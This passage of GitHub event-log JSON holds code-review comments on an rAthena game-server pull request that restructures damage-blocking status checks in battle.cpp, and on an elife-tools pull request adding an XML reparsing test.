damage.\n+\t\t\tstatus_change_end(target, SC_WHITEIMPRISON, INVALID_TIMER); // Those skills do damage and removes effect\n+\t\t} else {\n \t\t\td->dmg_lv = ATK_BLOCK;\n-#ifdef RENEWAL\n-\t\t\tif ( ( group->val2 - damage) > 0 ) {\n-\t\t\t\tgroup->val2 -= (int)cap_value(damage, INT_MIN, INT_MAX);\n-\t\t\t} else\n-\t\t\t\tskill_delunitgroup(group);\n \t\t\treturn false;\n-#else\n-\t\t\tif (--group->val2 <= 0)\n-\t\t\t\tskill_delunitgroup(group);\n+\t\t}\n+\t}\n+\n+\tif ((sce = sc->data[SC_WEAPONBLOCKING]) && flag&(BF_SHORT | BF_WEAPON) && rnd() % 100 < sce->val2) {\n+\t\tclif_skill_nodamage(target, src, GC_WEAPONBLOCKING, sce->val1, 1);\n+\t\tsc_start2(src, target, SC_COMBO, 100, GC_WEAPONBLOCKING, src->id, skill_get_time2(GC_WEAPONBLOCKING, sce->val1));\n+\t\td->dmg_lv = ATK_BLOCK;\n+\t\treturn false;\n+\t}\n+\n+\tif ((sce = sc->data[SC_MILLENNIUMSHIELD]) && sce->val2 > 0 && damage > 0) {\n+\t\tsce->val3 -= (int)cap_value(damage, INT_MIN, INT_MAX); // absorb damage\n+\t\td->dmg_lv = ATK_BLOCK;\n+\t\tif (sce->val3 <= 0) { // Shield Down\n+\t\t\tsce->val2--;\n+\t\t\tif (sce->val2 >= 0) {\n+\t\t\t\tclif_millenniumshield(target, sce->val2);\n+\t\t\t\tif (!sce->val2)\n+\t\t\t\t\tstatus_change_end(target, SC_MILLENNIUMSHIELD, INVALID_TIMER); // All shields down\n+\t\t\t\telse\n+\t\t\t\t\tsce->val3 = 1000; // Next shield\n+\t\t\t}\n+\t\t\tstatus_change_start(src, target, SC_STUN, 10000, 0, 0, 0, 0, 1000, SCSTART_NOTICKDEF);\n+\t\t}\n+\t\treturn false;\n+\t}\n+\n+\tstruct map_session_data *sd = map_id2sd(target->id);\n+\n+\t// ATK_MISS Type\n+\tif ((sce = sc->data[SC_AUTOGUARD]) && flag&BF_WEAPON && !(skill_get_inf3(skill_id)&INF3_NO_EFF_AUTOGUARD) && rnd() % 100 < sce->val2) {\n+\t\tstruct status_change_entry *sce_d = sc->data[SC_DEVOTION];\n+\t\tstruct block_list *d_bl;\n+\t\tint delay;\n+\n+\t\t// different delay depending on skill level [celest]\n+\t\tif (sce->val1 <= 5)\n+\t\t\tdelay = 300;\n+\t\telse if (sce->val1 > 5 && sce->val1 <= 9)\n+\t\t\tdelay = 200;\n+\t\telse\n+\t\t\tdelay = 100;\n+\t\tif (sd && pc_issit(sd))\n+\t\t\tpc_setstand(sd, true);\n+\t\tif (sce_d && (d_bl = map_id2bl(sce_d->val1)) &&\n+\t\t\t((d_bl->type == BL_MER && ((TBL_MER*)d_bl)->master && ((TBL_MER*)d_bl)->master->bl.id == target->id) ||\n+\t\t\t(d_bl->type == BL_PC && ((TBL_PC*)d_bl)->devotion[sce_d->val2] == target->id)) &&\n+\t\t\tcheck_distance_bl(target, d_bl, sce_d->val3))\n+\t\t{ //If player is target of devotion, show guard effect on the devotion caster rather than the target\n+\t\t\tclif_skill_nodamage(d_bl, d_bl, CR_AUTOGUARD, sce->val1, 1);\n+\t\t\tunit_set_walkdelay(d_bl, gettick(), delay, 1);\n+\t\t\td->dmg_lv = ATK_MISS;\n+\t\t\treturn false;\n+\t\t} else {\n+\t\t\tclif_skill_nodamage(target, target, CR_AUTOGUARD, sce->val1, 1);\n+\t\t\tunit_set_walkdelay(target, gettick(), delay, 1);\n+\t\t\tif (sc->data[SC_SHRINK] && rnd() % 100 < 5 * sce->val1)\n+\t\t\t\tskill_blown(target, src, skill_get_blewcount(CR_SHRINK, 1), -1, BLOWN_NONE);\n+\t\t\td->dmg_lv = ATK_MISS;\n \t\t\treturn false;\n-#endif\n \t\t}\n-\t\tstatus_change_end(target, SC_SAFETYWALL, INVALID_TIMER);\n \t}\n \n-\tif (sc->data[SC_NEUTRALBARRIER] && ((d->flag&(BF_LONG|BF_MAGIC)) == BF_LONG || skill_id == CR_ACIDDEMONSTRATION)) {\n+\tif (sc->data[SC_NEUTRALBARRIER] && ((flag&(BF_LONG|BF_MAGIC)) == BF_LONG || skill_id == CR_ACIDDEMONSTRATION)) {\n \t\td->dmg_lv = ATK_MISS;\n \t\treturn false;\n \t}\n \n-\tif( sc->data[SC_PNEUMA] && (d->flag&(BF_MAGIC|BF_LONG)) == BF_LONG ) {\n-\t\td->dmg_lv = ATK_BLOCK;\n+\t// ATK_DEF Type\n+\tif ((sce = sc->data[SC_LIGHTNINGWALK]) && flag&BF_LONG && rnd() % 100 < sce->val1) {\n+\t\tint dx[8] = { 0,-1,-1,-1,0,1,1,1 };\n+\t\tint dy[8] = { 1,1,0,-1,-1,-1,0,1 };\n+\t\tuint8 dir = map_calc_dir(target, src->x, src->y);\n+\n+\t\tif (unit_movepos(target, src->x - dx[dir], src->y - dy[dir], 1, 1)) {\n+\t\t\tclif_blown(target);\n+\t\t\tunit_setdir(target, dir);\n+\t\t}\n+\t\td->dmg_lv = ATK_DEF;\n+\t\tstatus_change_end(target, SC_LIGHTNINGWALK, INVALID_TIMER);\n+\t\treturn false;\n+\t}\n+\n+\t// Other\n+\tif (sc->data[SC_HERMODE] && flag&BF_MAGIC || sc->data[SC_TATAMIGAESHI] && (flag&(BF_MAGIC | BF_LONG)) == BF_LONG)\n+\t\treturn false;\n+\n+\tif ((sce = sc->data[SC_PARRYING]) && flag&BF_WEAPON && skill_id != WS_CARTTERMINATION && rnd() % 100 < sce->val2) {\n+\t\tclif_skill_nodamage(target, target, LK_PARRYING, sce->val1, 1);\n+\t\treturn false;\n+\t}\n+\n+\tif (sc->data[SC_DODGE] && (flag&BF_LONG || sc->data[SC_SPURT]) && rnd() % 100 < 20) {\n+\t\tif (sd && pc_issit(sd))\n+\t\t\tpc_setstand(sd, true); //Stand it to dodge.\n+\t\tclif_skill_nodamage(target, target, TK_DODGE, 1, 1);\n+\t\tsc_start4(src, target, SC_COMBO, 100, TK_JUMPKICK, src->id, 1, 0, 2000);\n+\t\treturn false;\n+\t}\n+\n+\tif ((sce = sc->data[SC_KAUPE]) && rnd() % 100 < sce->val2) { //Kaupe blocks damage (skill or otherwise) from players, mobs, homuns, mercenaries.\n+\t\tclif_specialeffect(target, EF_STORMKICK4, AREA);\n+\t\t//Shouldn't end until Breaker's non-weapon part connects.\n+#ifndef RENEWAL\n+\t\tif (skill_id != ASC_BREAKER || !(flag&BF_WEAPON))\n+#endif\n+\t\t\tif (--(sce->val3) <= 0) //We make it work like Safety Wall, even though it only blocks 1 time.","path":"src/map/battle.cpp","position":219,"original_position":219,"commit_id":"08bd985413759226d4e414d313a0b308be1d4c23","original_commit_id":"08bd985413759226d4e414d313a0b308be1d4c23","user":{"login":"InusualZ","id":2200611,"node_id":"MDQ6VXNlcjIyMDA2MTE=","avatar_url":"https://avatars0.githubusercontent.com/u/2200611?v=4","gravatar_id":"","url":"https://api.github.com/users/InusualZ","html_url":"https://github.com/InusualZ","followers_url":"https://api.github.com/users/InusualZ/followers","following_url":"https://api.github.com/users/InusualZ/following{/other_user}","gists_url":"https://api.github.com/users/InusualZ/gists{/gist_id}","starred_url":"https://api.github.com/users/InusualZ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/InusualZ/subscriptions","organizations_url":"https://api.github.com/users/InusualZ/orgs","repos_url":"https://api.github.com/users/InusualZ/repos","events_url":"https://api.github.com/users/InusualZ/events{/privacy}","received_events_url":"https://api.github.com/users/InusualZ/received_events","type":"User","site_admin":false},"body":"Why the parentheses around the variable?","created_at":"2019-04-06T03:24:24Z","updated_at":"2019-04-06T03:32:33Z","html_url":"https://github.com/rathena/rathena/pull/3129#discussion_r272781912","pull_request_url":"https://api.github.com/repos/rathena/rathena/pulls/3129","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/rathena/rathena/pulls/comments/272781912"},"html":{"href":"https://github.com/rathena/rathena/pull/3129#discussion_r272781912"},"pull_request":{"href":"https://api.github.com/repos/rathena/rathena/pulls/3129"}}},"pull_request":{"url":"https://api.github.com/repos/rathena/rathena/pulls/3129","id":188905645,"node_id":"MDExOlB1bGxSZXF1ZXN0MTg4OTA1NjQ1","html_url":"https://github.com/rathena/rathena/pull/3129","diff_url":"https://github.com/rathena/rathena/pull/3129.diff","patch_url":"https://github.com/rathena/rathena/pull/3129.patch","issue_url":"https://api.github.com/repos/rathena/rathena/issues/3129","number":3129,"state":"open","locked":false,"title":"Updated Safety Wall behavior","user":{"login":"aleos89","id":3521753,"node_id":"MDQ6VXNlcjM1MjE3NTM=","avatar_url":"https://avatars3.githubusercontent.com/u/3521753?v=4","gravatar_id":"","url":"https://api.github.com/users/aleos89","html_url":"https://github.com/aleos89","followers_url":"https://api.github.com/users/aleos89/followers","following_url":"https://api.github.com/users/aleos89/following{/other_user}","gists_url":"https://api.github.com/users/aleos89/gists{/gist_id}","starred_url":"https://api.github.com/users/aleos89/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aleos89/subscriptions","organizations_url":"https://api.github.com/users/aleos89/orgs","repos_url":"https://api.github.com/users/aleos89/repos","events_url":"https://api.github.com/users/aleos89/events{/privacy}","received_events_url":"https://api.github.com/users/aleos89/received_events","type":"User","site_admin":false},"body":"* **Addressed Issue(s)**: #2671\r\n\r\n* **Server Mode**: Renewal\r\n\r\n* **Description of Pull Request**: \r\n * Renewal Safety Wall has a hit count tracker, same as pre-renewal.\r\n * Updated renewal Safety Wall HP formula.\r\n * Restructured battle_calc_damage to utilize battle_check_sc for statuses that block damage.\r\nThanks to @Paoly28 and @mrjnumber1!","created_at":"2018-05-18T02:17:55Z","updated_at":"2019-04-06T03:32:32Z","closed_at":null,"merged_at":null,"merge_commit_sha":"398b9bc2c7ebf1cae5884acc107b9a10a9020df2","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":398551818,"node_id":"MDU6TGFiZWwzOTg1NTE4MTg=","url":"https://api.github.com/repos/rathena/rathena/labels/status:code-review","name":"status:code-review","color":"d4c5f9","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rathena/rathena/pulls/3129/commits","review_comments_url":"https://api.github.com/repos/rathena/rathena/pulls/3129/comments","review_comment_url":"https://api.github.com/repos/rathena/rathena/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rathena/rathena/issues/3129/comments","statuses_url":"https://api.github.com/repos/rathena/rathena/statuses/08bd985413759226d4e414d313a0b308be1d4c23","head":{"label":"rathena:hotfix/issue2671","ref":"hotfix/issue2671","sha":"08bd985413759226d4e414d313a0b308be1d4c23","user":{"login":"rathena","id":1776606,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzY2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1776606?v=4","gravatar_id":"","url":"https://api.github.com/users/rathena","html_url":"https://github.com/rathena","followers_url":"https://api.github.com/users/rathena/followers","following_url":"https://api.github.com/users/rathena/following{/other_user}","gists_url":"https://api.github.com/users/rathena/gists{/gist_id}","starred_url":"https://api.github.com/users/rathena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rathena/subscriptions","organizations_url":"https://api.github.com/users/rathena/orgs","repos_url":"https://api.github.com/users/rathena/repos","events_url":"https://api.github.com/users/rathena/events{/privacy}","received_events_url":"https://api.github.com/users/rathena/received_events","type":"Organization","site_admin":false},"repo":{"id":11489037,"node_id":"MDEwOlJlcG9zaXRvcnkxMTQ4OTAzNw==","name":"rathena","full_name":"rathena/rathena","private":false,"owner":{"login":"rathena","id":1776606,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzY2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1776606?v=4","gravatar_id":"","url":"https://api.github.com/users/rathena","html_url":"https://github.com/rathena","followers_url":"https://api.github.com/users/rathena/followers","following_url":"https://api.github.com/users/rathena/following{/other_user}","gists_url":"https://api.github.com/users/rathena/gists{/gist_id}","starred_url":"https://api.github.com/users/rathena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rathena/subscriptions","organizations_url":"https://api.github.com/users/rathena/orgs","repos_url":"https://api.github.com/users/rathena/repos","events_url":"https://api.github.com/users/rathena/events{/privacy}","received_events_url":"https://api.github.com/users/rathena/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/rathena/rathena","description":"rAthena is an open-source cross-platform MMORPG server.","fork":false,"url":"https://api.github.com/repos/rathena/rathena","forks_url":"https://api.github.com/repos/rathena/rathena/forks","keys_url":"https://api.github.com/repos/rathena/rathena/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rathena/rathena/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rathena/rathena/teams","hooks_url":"https://api.github.com/repos/rathena/rathena/hooks","issue_events_url":"https://api.github.com/repos/rathena/rathena/issues/events{/number}","events_url":"https://api.github.com/repos/rathena/rathena/events","assignees_url":"https://api.github.com/repos/rathena/rathena/assignees{/user}","branches_url":"https://api.github.com/repos/rathena/rathena/branches{/branch}","tags_url":"https://api.github.com/repos/rathena/rathena/tags","blobs_url":"https://api.github.com/repos/rathena/rathena/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rathena/rathena/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rathena/rathena/git/refs{/sha}","trees_url":"https://api.github.com/repos/rathena/rathena/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rathena/rathena/statuses/{sha}","languages_url":"https://api.github.com/repos/rathena/rathena/languages","stargazers_url":"https://api.github.com/repos/rathena/rathena/stargazers","contributors_url":"https://api.github.com/repos/rathena/rathena/contributors","subscribers_url":"https://api.github.com/repos/rathena/rathena/subscribers","subscription_url":"https://api.github.com/repos/rathena/rathena/subscription","commits_url":"https://api.github.com/repos/rathena/rathena/commits{/sha}","git_commits_url":"https://api.github.com/repos/rathena/rathena/git/commits{/sha}","comments_url":"https://api.github.com/repos/rathena/rathena/comments{/number}","issue_comment_url":"https://api.github.com/repos/rathena/rathena/issues/comments{/number}","contents_url":"https://api.github.com/repos/rathena/rathena/contents/{+path}","compare_url":"https://api.github.com/repos/rathena/rathena/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rathena/rathena/merges","archive_url":"https://api.github.com/repos/rathena/rathena/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rathena/rathena/downloads","issues_url":"https://api.github.com/repos/rathena/rathena/issues{/number}","pulls_url":"https://api.github.com/repos/rathena/rathena/pulls{/number}","milestones_url":"https://api.github.com/repos/rathena/rathena/milestones{/number}","notifications_url":"https://api.github.com/repos/rathena/rathena/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rathena/rathena/labels{/name}","releases_url":"https://api.github.com/repos/rathena/rathena/releases{/id}","deployments_url":"https://api.github.com/repos/rathena/rathena/deployments","created_at":"2013-07-17T22:19:43Z","updated_at":"2019-04-05T17:31:01Z","pushed_at":"2019-04-05T21:32:46Z","git_url":"git://github.com/rathena/rathena.git","ssh_url":"git@github.com:rathena/rathena.git","clone_url":"https://github.com/rathena/rathena.git","svn_url":"https://github.com/rathena/rathena","homepage":"https://rathena.org/board/","size":161926,"stargazers_count":1010,"watchers_count":1010,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":974,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":311,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":974,"open_issues":311,"watchers":1010,"default_branch":"master"}},"base":{"label":"rathena:master","ref":"master","sha":"1504507e7199fc163f64d7b84829067ee052d8d0","user":{"login":"rathena","id":1776606,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzY2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1776606?v=4","gravatar_id":"","url":"https://api.github.com/users/rathena","html_url":"https://github.com/rathena","followers_url":"https://api.github.com/users/rathena/followers","following_url":"https://api.github.com/users/rathena/following{/other_user}","gists_url":"https://api.github.com/users/rathena/gists{/gist_id}","starred_url":"https://api.github.com/users/rathena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rathena/subscriptions","organizations_url":"https://api.github.com/users/rathena/orgs","repos_url":"https://api.github.com/users/rathena/repos","events_url":"https://api.github.com/users/rathena/events{/privacy}","received_events_url":"https://api.github.com/users/rathena/received_events","type":"Organization","site_admin":false},"repo":{"id":11489037,"node_id":"MDEwOlJlcG9zaXRvcnkxMTQ4OTAzNw==","name":"rathena","full_name":"rathena/rathena","private":false,"owner":{"login":"rathena","id":1776606,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzY2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1776606?v=4","gravatar_id":"","url":"https://api.github.com/users/rathena","html_url":"https://github.com/rathena","followers_url":"https://api.github.com/users/rathena/followers","following_url":"https://api.github.com/users/rathena/following{/other_user}","gists_url":"https://api.github.com/users/rathena/gists{/gist_id}","starred_url":"https://api.github.com/users/rathena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rathena/subscriptions","organizations_url":"https://api.github.com/users/rathena/orgs","repos_url":"https://api.github.com/users/rathena/repos","events_url":"https://api.github.com/users/rathena/events{/privacy}","received_events_url":"https://api.github.com/users/rathena/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/rathena/rathena","description":"rAthena is an open-source cross-platform MMORPG server.","fork":false,"url":"https://api.github.com/repos/rathena/rathena","forks_url":"https://api.github.com/repos/rathena/rathena/forks","keys_url":"https://api.github.com/repos/rathena/rathena/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rathena/rathena/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rathena/rathena/teams","hooks_url":"https://api.github.com/repos/rathena/rathena/hooks","issue_events_url":"https://api.github.com/repos/rathena/rathena/issues/events{/number}","events_url":"https://api.github.com/repos/rathena/rathena/events","assignees_url":"https://api.github.com/repos/rathena/rathena/assignees{/user}","branches_url":"https://api.github.com/repos/rathena/rathena/branches{/branch}","tags_url":"https://api.github.com/repos/rathena/rathena/tags","blobs_url":"https://api.github.com/repos/rathena/rathena/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rathena/rathena/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rathena/rathena/git/refs{/sha}","trees_url":"https://api.github.com/repos/rathena/rathena/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rathena/rathena/statuses/{sha}","languages_url":"https://api.github.com/repos/rathena/rathena/languages","stargazers_url":"https://api.github.com/repos/rathena/rathena/stargazers","contributors_url":"https://api.github.com/repos/rathena/rathena/contributors","subscribers_url":"https://api.github.com/repos/rathena/rathena/subscribers","subscription_url":"https://api.github.com/repos/rathena/rathena/subscription","commits_url":"https://api.github.com/repos/rathena/rathena/commits{/sha}","git_commits_url":"https://api.github.com/repos/rathena/rathena/git/commits{/sha}","comments_url":"https://api.github.com/repos/rathena/rathena/comments{/number}","issue_comment_url":"https://api.github.com/repos/rathena/rathena/issues/comments{/number}","contents_url":"https://api.github.com/repos/rathena/rathena/contents/{+path}","compare_url":"https://api.github.com/repos/rathena/rathena/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rathena/rathena/merges","archive_url":"https://api.github.com/repos/rathena/rathena/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rathena/rathena/downloads","issues_url":"https://api.github.com/repos/rathena/rathena/issues{/number}","pulls_url":"https://api.github.com/repos/rathena/rathena/pulls{/number}","milestones_url":"https://api.github.com/repos/rathena/rathena/milestones{/number}","notifications_url":"https://api.github.com/repos/rathena/rathena/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rathena/rathena/labels{/name}","releases_url":"https://api.github.com/repos/rathena/rathena/releases{/id}","deployments_url":"https://api.github.com/repos/rathena/rathena/deployments","created_at":"2013-07-17T22:19:43Z","updated_at":"2019-04-05T17:31:01Z","pushed_at":"2019-04-05T21:32:46Z","git_url":"git://github.com/rathena/rathena.git","ssh_url":"git@github.com:rathena/rathena.git","clone_url":"https://github.com/rathena/rathena.git","svn_url":"https://github.com/rathena/rathena","homepage":"https://rathena.org/board/","size":161926,"stargazers_count":1010,"watchers_count":1010,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":974,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":311,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":974,"open_issues":311,"watchers":1010,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rathena/rathena/pulls/3129"},"html":{"href":"https://github.com/rathena/rathena/pull/3129"},"issue":{"href":"https://api.github.com/repos/rathena/rathena/issues/3129"},"comments":{"href":"https://api.github.com/repos/rathena/rathena/issues/3129/comments"},"review_comments":{"href":"https://api.github.com/repos/rathena/rathena/pulls/3129/comments"},"review_comment":{"href":"https://api.github.com/repos/rathena/rathena/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rathena/rathena/pulls/3129/commits"},"statuses":{"href":"https://api.github.com/repos/rathena/rathena/statuses/08bd985413759226d4e414d313a0b308be1d4c23"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 11489037,
"name": "rathena/rathena",
"url": "https://api.github.com/repos/rathena/rathena"
}
|
{
"id": 2200611,
"login": "InusualZ",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2200611?",
"url": "https://api.github.com/users/InusualZ"
}
|
{
"id": 1776606,
"login": "rathena",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1776606?",
"url": "https://api.github.com/orgs/rathena"
}
| 2019-04-06T03:24:24 |
9390297747
|
{"actor":{"display_login":"InusualZ"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/elifesciences/elife-tools/pulls/comments/322621348","pull_request_review_id":285993781,"id":322621348,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMyMjYyMTM0OA==","diff_hunk":"@@ -165,6 +165,14 @@ def test_rewrite_subject_group(self, xml, subjects, subject_group_type, overwrit\n rough_string = ElementTree.tostring(root, encoding='unicode')\n self.assertEqual(rough_string, xml_expected)\n \n+ def test_reparsed_tag(self):\n+ \"\"\"test parsing a string into xml.dom\"\"\"\n+ tag_name = 'root'\n+ tag_string = 'Test & <i class=\"a\">a</i> <mml:math><mml:mi>K</mml:mi></mml:math>.'","path":"elifetools/tests/test_xmlio.py","position":27,"original_position":27,"commit_id":"ddb6b69436232a1187363888a74bc99cfcd36beb","original_commit_id":"ddb6b69436232a1187363888a74bc99cfcd36beb","user":{"login":"giorgiosironi","id":160299,"node_id":"MDQ6VXNlcjE2MDI5OQ==","avatar_url":"https://avatars3.githubusercontent.com/u/160299?v=4","gravatar_id":"","url":"https://api.github.com/users/giorgiosironi","html_url":"https://github.com/giorgiosironi","followers_url":"https://api.github.com/users/giorgiosironi/followers","following_url":"https://api.github.com/users/giorgiosironi/following{/other_user}","gists_url":"https://api.github.com/users/giorgiosironi/gists{/gist_id}","starred_url":"https://api.github.com/users/giorgiosironi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/giorgiosironi/subscriptions","organizations_url":"https://api.github.com/users/giorgiosironi/orgs","repos_url":"https://api.github.com/users/giorgiosironi/repos","events_url":"https://api.github.com/users/giorgiosironi/events{/privacy}","received_events_url":"https://api.github.com/users/giorgiosironi/received_events","type":"User","site_admin":false},"body":"it's a complex case (XML `&` entities, nested tags with namespaces), but it matches the fixture","created_at":"2019-09-10T08:45:45Z","updated_at":"2019-09-10T08:45:45Z","html_url":"https://github.com/elifesciences/elife-tools/pull/314#discussion_r322621348","pull_request_url":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/elifesciences/elife-tools/pulls/comments/322621348"},"html":{"href":"https://github.com/elifesciences/elife-tools/pull/314#discussion_r322621348"},"pull_request":{"href":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314"}}},"pull_request":{"url":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314","id":315762979,"node_id":"MDExOlB1bGxSZXF1ZXN0MzE1NzYyOTc5","html_url":"https://github.com/elifesciences/elife-tools/pull/314","diff_url":"https://github.com/elifesciences/elife-tools/pull/314.diff","patch_url":"https://github.com/elifesciences/elife-tools/pull/314.patch","issue_url":"https://api.github.com/repos/elifesciences/elife-tools/issues/314","number":314,"state":"open","locked":false,"title":"Xmlio reparsed_tag()","user":{"login":"gnott","id":1779115,"node_id":"MDQ6VXNlcjE3NzkxMTU=","avatar_url":"https://avatars1.githubusercontent.com/u/1779115?v=4","gravatar_id":"","url":"https://api.github.com/users/gnott","html_url":"https://github.com/gnott","followers_url":"https://api.github.com/users/gnott/followers","following_url":"https://api.github.com/users/gnott/following{/other_user}","gists_url":"https://api.github.com/users/gnott/gists{/gist_id}","starred_url":"https://api.github.com/users/gnott/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gnott/subscriptions","organizations_url":"https://api.github.com/users/gnott/orgs","repos_url":"https://api.github.com/users/gnott/repos","events_url":"https://api.github.com/users/gnott/events{/privacy}","received_events_url":"https://api.github.com/users/gnott/received_events","type":"User","site_admin":false},"body":"Re issue https://github.com/elifesciences/elife-tools/issues/313\r\n\r\nThe function `reparsed_tag()` is used in the Crossref generation project, and I also want to use it in the decision letter parser project, hence moving it to this project into the `xmlio.py` module, which is concerned with XML input / output.\r\n\r\nAlso through some testing of real input, I noticed the attributes of tags added using the existing `append_minidom_xml_to_elementtree_xml()` function were not retained. I enhanced the logic for it, and I added a `child_attributes` parameter so it will be backwards-compatible in case some other project expected the tag attributes to be stripped away. I changed the test scenario to include tag attributes (`<i id=\"test\">`) to make sure it had test coverage.","created_at":"2019-09-10T00:10:48Z","updated_at":"2019-09-10T08:45:45Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9d52c3b80198f112f4b2ba7962941784365d26f4","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314/commits","review_comments_url":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314/comments","review_comment_url":"https://api.github.com/repos/elifesciences/elife-tools/pulls/comments{/number}","comments_url":"https://api.github.com/repos/elifesciences/elife-tools/issues/314/comments","statuses_url":"https://api.github.com/repos/elifesciences/elife-tools/statuses/ddb6b69436232a1187363888a74bc99cfcd36beb","head":{"label":"elifesciences:xmlio","ref":"xmlio","sha":"ddb6b69436232a1187363888a74bc99cfcd36beb","user":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"repo":{"id":30274058,"node_id":"MDEwOlJlcG9zaXRvcnkzMDI3NDA1OA==","name":"elife-tools","full_name":"elifesciences/elife-tools","private":false,"owner":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/elifesciences/elife-tools","description":"Tools for using article data in Python","fork":false,"url":"https://api.github.com/repos/elifesciences/elife-tools","forks_url":"https://api.github.com/repos/elifesciences/elife-tools/forks","keys_url":"https://api.github.com/repos/elifesciences/elife-tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/elifesciences/elife-tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/elifesciences/elife-tools/teams","hooks_url":"https://api.github.com/repos/elifesciences/elife-tools/hooks","issue_events_url":"https://api.github.com/repos/elifesciences/elife-tools/issues/events{/number}","events_url":"https://api.github.com/repos/elifesciences/elife-tools/events","assignees_url":"https://api.github.com/repos/elifesciences/elife-tools/assignees{/user}","branches_url":"https://api.github.com/repos/elifesciences/elife-tools/branches{/branch}","tags_url":"https://api.github.com/repos/elifesciences/elife-tools/tags","blobs_url":"https://api.github.com/repos/elifesciences/elife-tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/elifesciences/elife-tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/elifesciences/elife-too